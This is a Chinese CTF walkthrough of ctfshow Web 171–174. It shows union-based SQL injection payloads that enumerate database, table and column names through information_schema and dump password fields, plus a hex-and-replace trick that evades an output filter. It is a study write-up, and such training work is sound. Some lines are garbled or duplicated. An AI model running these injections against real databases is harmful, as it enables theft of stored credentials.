Web 171
打开发现以下内容。
看到了一个查询语句，于是认真看了一下。
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";直接传入1，代码会变成
select username,password from user where username !='flag' and id ='1' limit 1;
这样可以查询到，但当我输入1‘时就不行了。
仔细看当我输入的是1’时，语句会变成
select username,password from user where username !='flag' and id ='1'' limit 1;1后边会变成两个单引号，语句不规范，显示错误。
我们在后面加个注释符，即变成id=1'--+（+相当于空格的作用）
这时语句会变成
select username,password from user where username !='flag' and id ='1'后边的一部分会被注释掉。
之后就可以接入我们需要的语句。
利用union语句来连接查询一下数据库的名字。
1' union select database(),2,3 --+
在前边加一个负号来把查询id回显的数据给置空。
然后查询表名，可以用group_concat函数，它可以把相同行的数据都组合起来。
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+roup_concat函数的功能. 将group by产生的同一个分组中的值连接起来，返回一个字符串结果。. group_concat函数首先根据group by指定的列进行分组，将同一组的列显示出来，并且用分隔符分隔。
查询到表名，然后查询列名。
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+
一个一个尝试查询，最后在password找到flag。
-1' union select password,2,3 from ctfshow_user --+
Web 172
利用order by查询有几列。
当输入到
1' order by 2 --+
之后就发现不成功，所以有两列
然后查询数据库名
1' union select database(),1 --+
再查询表名：
-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+
有两个表，一个一个试一下。
第一个
-1' union select password,1 from ctfshow_user --+
第二个
-1' union select password,1 from ctfshow_user2 --+
Web 173
多了一个正则绕过
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}但好像没什莫关系。
先查有几列。
到
1' order by 3 --+之后就不会再显示所以有三列。
然后就和上两题一样。
最后发现表名到了一个ctfshow_user3
然后直接查询了
-1' union select password,1,2 from ctfshow_user3 --+Web 174
刚进入发现和173一摸一样，有点意外，试着写了一下发现我进错了。
之后又点了一下才出来了。
这次过滤多了一点。
看了一位师傅不一样的解法。
这位师傅用了替换的思路将1-0数字用q~p替换，但本来的flag中一定也会有一些小写字母，这样的话就没办法分辨那个是原本的字母哪个是替换出来的。
所以为了避免这个问题，将password首先hex一下，因为hex()函数的返回值中字母都是大写的，所以我们返回结果中的小写字母就是原来的数字，而大写字母就是原本的字符。
这个虽然说比较麻烦，但也是一种很好的解题思路。
Payload：
1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+
到最后将小写字母替换然后16进制转换一下。
看了许多解法一般都是利用python脚本写出来的。